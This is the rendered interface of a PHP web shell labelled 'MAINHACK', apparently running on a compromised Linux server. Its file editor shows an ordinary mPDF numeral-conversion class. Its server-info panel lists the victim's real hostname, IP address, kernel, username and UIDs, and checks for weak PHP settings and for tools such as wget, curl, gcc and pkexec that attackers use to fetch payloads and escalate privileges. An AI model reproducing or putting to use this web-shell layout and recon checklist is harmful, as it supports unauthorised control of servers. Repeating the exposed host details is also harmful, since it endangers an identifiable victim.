[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: DecToOther.php
<?php namespace Mpdf\Conversion; use Mpdf\Mpdf; use Mpdf\Utils\UtfString; class DecToOther { /** * @var \Mpdf\Mpdf */ private $mpdf; public function __construct(Mpdf $mpdf) { $this->mpdf = $mpdf; } public function convert($num, $cp, $check = true) { // From printlistbuffer: font is set, so check if character is available // From docPageNum: font is not set, so no check $nstr = (string) $num; $rnum = ''; $len = strlen($nstr); for ($i = 0; $i < $len; $i++) { if (!$check || $this->mpdf->_charDefined($this->mpdf->CurrentFont['cw'], $cp + ((int) $nstr[$i]))) { $rnum .= UtfString::code2utf($cp + (int) $nstr[$i]); } else { $rnum .= $nstr[$i]; } } return $rnum; } /** * @param string $script * @return int */ public function getCodePage($script) { $codePages = [ 'arabic-indic' => 0x0660, 'persian' => 0x06F0, 'urdu' => 0x06F0, 'bengali' => 0x09E6, 'devanagari' => 0x0966, 'gujarati' => 0x0AE6, 'gurmukhi' => 0x0A66, 'kannada' => 0x0CE6, 'malayalam' => 0x0D66, 'oriya' => 0x0B66, 'telugu' => 0x0C66, 'tamil' => 0x0BE6, 'thai' => 0x0E50, 'khmer' => 0x17E0, 'cambodian' => 0x17E0, 'lao' => 0x0ED0, 'myanmar' => 0x1040 ]; return isset($codePages[$script]) ? $codePages[$script] : 0; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.6 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002